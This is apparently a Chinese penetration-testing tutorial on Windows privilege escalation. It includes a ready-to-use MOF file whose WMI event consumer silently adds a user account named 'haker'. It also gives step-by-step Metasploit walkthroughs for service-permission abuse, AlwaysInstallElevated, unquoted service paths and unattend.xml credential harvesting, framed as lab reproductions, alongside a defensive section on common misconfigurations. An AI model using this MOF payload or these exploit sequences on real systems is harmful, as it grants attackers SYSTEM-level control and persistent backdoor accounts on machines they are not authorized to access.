对与windows系统,多被用于系统网络和局域网的域管理,只有特定的情况才会用于web服务,所以就只简单的说一下在windows系统下的提权

目录

MOF提权

windows2003以下的版本

在C:\WINDOWS\system32\wbem\mof\下添加nullevt.mof文件

通用代码

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 instance of __EventFilter as $EventFilter
 3 {
 4 EventNamespace = "Root\\Cimv2";
 5 Name = "filtP2";
 6 Query = "Select * From __InstanceModificationEvent "
 7 "Where TargetInstance Isa \"Win32_LocalTime\" "
 8 "And TargetInstance.Second = 5";
 9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user haker 123456 /add\")";
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

系统内核提权

使用suggester

升级漏洞库

python windows-exploit-suggester.py --update

得到xxxx-xx-xx-mssb.xls文件

在受害机查询补丁信息

systeminfo > 1.txt

得到1.txt文件

攻击机运行

python windows-exploit-suggester.py --database xxxx-xx-xx-mssb.xls --systeminfo 1.txt

//需要python2和xlrd 1.2.0

列出漏洞列表之后使用对应漏洞序号的包完成提权

windows操作系统配置错误相关

错误的系统配置可能会导致敏感数据的泄露,身份验证失效,利用错误配置的提权行为

windows系统的常见配置错误:

  • 管理员凭证配置错误
  • 服务配置错误
  • 故意削弱的安全措施
  • 用户权限过高

管理员凭证配置错误

不安全的密码验证:
管理员帐户的密码口令未设置、使用默认密码或设置过于简单,就会导致黑客很容易地尝试利用该帐户来入侵系统。

缺乏日常的帐户管理:
管理员应定期审查和管理管理员帐户,包括添加、删除或禁用帐户,并及时更改密码,以确保系统安全性。

服务配置错误

不必要的服务启用:
如果启用了不必要的服务,系统会暴露更多的攻击面,增加系统受攻击的风险。

不安全的密码验证:
服务通常在后台以系统帐户或其他特定用户帐户运行。如果这些帐户使用弱密码或默认凭据,攻击者可以利用这些凭据执行未经授权的操作。

错误的服务权限:
服务应该只具有执行其所需操作的最低权限。如果服务被授予了过高的权限,攻击者可能利用服务的漏洞进行特权提升或访问受限资源。

缺乏及时的服务更新:
服务供应商可能会发布更新和修补程序,以解决已知的漏洞和安全问题。如果不及时安装这些更新,服务可能存在已知漏洞,容易受到攻击。

缺乏审计和监控:
在服务配置中,缺乏审计和监控措施会导致无法及时检测和响应安全事件。日志记录、事件监视和报警系统应配置和监控关键服务的活动。

故意削弱的安全措施

禁用防火墙:
防火墙是保护计算机免受网络攻击的重要安全措施。故意禁用防火墙会使系统容易受到入侵、恶意软件传播和未经授权的访问。

禁用用户账户控制(UAC):
UAC是Windows系统中的一项安全功能,它通过提示用户确认敏感操作以防止未经授权的更改。禁用UAC可能导致恶意软件或攻击者在未经用户确认的情况下执行危险操作。

禁用安全日志记录:
安全日志记录是用于监视和分析系统活动的重要工具。禁用安全日志记录可能导致无法及时检测和响应安全事件,以及无法追踪潜在的安全威胁。

用户权限过高

管理员权限过度分配:
如果将管理员权限授予不必要的用户,他们可能会滥用这些权限或无意中对系统进行不恰当的更改。

用户组权限错误配置:
Windows系统中有一些预定义的用户组,如Administrators组和Power Users组。如果将用户添加到错误的用户组或授予不必要的用户组权限,他们可能会获得比他们所需的更高权限。

系统服务配置错误漏洞复现

漏洞原理

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。

该漏洞可以在使用msf获取目标机器meterpreter视图后,通过service_permissions模块进行自动化漏洞检测及提权,service_permissions模块会尝试使用已获取的session会话进行创建服务,如果创建失败,它会检测目标机器已存在服务的执行程序目录是否可写并进行利用提权

环境配置

以管理员身份打开win7命令行
执行以下命令进行服务创建
sc create xxx binpath= "C:\Windows\1\1.exe" displayname= "pentest" start= auto
根据上一步创建的服务的路径位置添加一个可执行的exe文件

漏洞利用

打开kali并获取win7的meterpreter视图

getuid 查看当前权限为管理员, background 挂起会话,use exploit/windows/local/service_permissions 使用该模块,set lhost 192.168.31.13 设置本地IP,set lport 6666设置本地端口,set session 1 设置攻击会话id,run 开始攻击

通过服务成功提权

注册表键AlwaysInstallElevated漏洞复现

漏洞原理

注册表键 AlwaysInstallElevated 是一个策略设置项。Windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY \ SYSTEM 权限来安装恶意的 MSI文件。
MSI是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。

环境配置

win+R输入gpedit.msc打开组策略编辑器
启用永远以高特权进行安装

win+R输入gpedit.msc打开组策略编辑器

修改HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer下的AlwaysInstallElevated值为1
修改HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer下的AlwaysInstallElevated值为1

如果不存在则创建,AlwaysInstallElevated为DW_DWORD值

漏洞利用

通过下面的命令来查找系统中存在可信任服务路径的程序。

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr/i /v """

通过下面的命令来添加可信任服务路径的程序。

sc create <ServiceName> binPath= "<ExecutablePath>" start= auto

<ServiceName>是服务指定的名称。

<ExecutablePath> 是服务可执行文件的完整路径。

打开kali并获取win7的meterpreter视图

getuid 查看当前权限为管理员, background 挂起会话,use exploit/windows/local/always_install_elevated 使用该模块,set lhost 192.168.31.13 设置本地IP,set lport 6666设置本地端口,set session 1 设置攻击会话id,run 开始攻击,成功提权

可信任服务路径漏洞复现

漏洞原理

可信任服务路径 ( Trusted Service Paths ) 是指操作系统所允许的一组目录路径,其中的可执行文件被认为是受信任的,并可以由系统服务加载和执行。
可信任服务路径漏洞利用了 Windows 文件路径解析的特性,利用可信任服务路径中包含空格且没有引号的路径以系统权限执行任意程序

Windows解析一个没有引号包裹且含空格的路径时,它会尝试找到与空格前名字相匹配的程序,然后执行它。

如:C:\Program Files\Common Files\WgpSec\TeamsSix.exe

windows解析执行过程:

C:\Program.exe

C:\Program Files\Common.exe

C:\Program Files\Common Files\WgpSec\TeamsSix.exe

可以看到 Windows 尝试执行了三次才找到真正的程序。 由于 Windows 服务通常是以 SYSTEM 权限运行的,所以在系统找到空格前的程序并执行时,也将以 SYSTEM 权限运行这个程序。

因此我们把木马程序命名为 Program.exe ,然后放到 C 盘下,当上面的 TeamsSix.exe 程序重启时,系统就会执行我们的木马程序 同时如果此时程序以 SYSTEM 运行,那我们就将获得一个 SYSTEM 权限的会话。

环境配置

搭建漏洞环境,为靶机windows2008设置含有空格的可信任服务路径的程序
sc create ServiceName binPath= "C:/1/a b/1.exe" start= auto

漏洞利用

打开kali并获取win2008的meterpreter视图
getuid 查看当前权限为管理员
kali使用unquoted_service_path模块

background 挂起会话,sessions 查看当前会话id,use windows/local/unquoted_service_path 使用该漏洞利用模块,set session 1 设置攻击会话id,run 开始攻击

成功提升到SYSTEM权限

自动安装配置文件漏洞复现

漏洞原理

网络管理员在内网中给多台计算器配置同一个环境时,通常会使用脚本化批量部署的方法,这个过程就会使用安装配置文件。这些文件中包含的安装配置信息,其中还可以包含管理员账号密码等。

在一个含有unattend.xml文件的Windows安装媒体(如ISO镜像)或预加载映像(如WIM或VHD文件)中,unattend.xml文件会在安装系统时被应用,从而配置系统的各种设置。在安装完成的系统里unattend.xml文件可能会存在下面三个路径当中
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\Unattend.xml

环境配置

将下面这段xml代码到新建文件并重命名为 unattend.xml ,然后移动到win7系统的 C:\Windows\Panther\ 目录下

<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
<settings pass="windowsPE">
<!-- Windows PE settings here (if needed) -->
</settings>
<settings pass="specialize">
<component name="Microsoft-Windows-Shell-Setup" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS">
<!-- Specify your desired computer name below -->
<ComputerName>YourComputerName</ComputerName>
<!-- Specify the administrator account information below -->
<AutoLogon>
<Password>
<Value>Aa123456</Value>
<PlainText>true</PlainText>
</Password>
<Username>admin</Username>
<Enabled>true</Enabled>
</AutoLogon>
</component>
</settings>
<settings pass="oobeSystem">
<component name="Microsoft-Windows-Shell-Setup" processorArchitecture="x86" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS">
<!-- OOBE settings here (if needed) -->
</component>
</settings>
</unattend>

漏洞利用

打开kali并获取win7的meterpreter视图
获得存在于unattend.xml文件的管理员账号和密码

background 挂起会话,sessions 查看当前会话id,use post/windows/gather/enum_unattend 使用该漏洞利用模块,set session 1 设置攻击会话id,run 开始攻击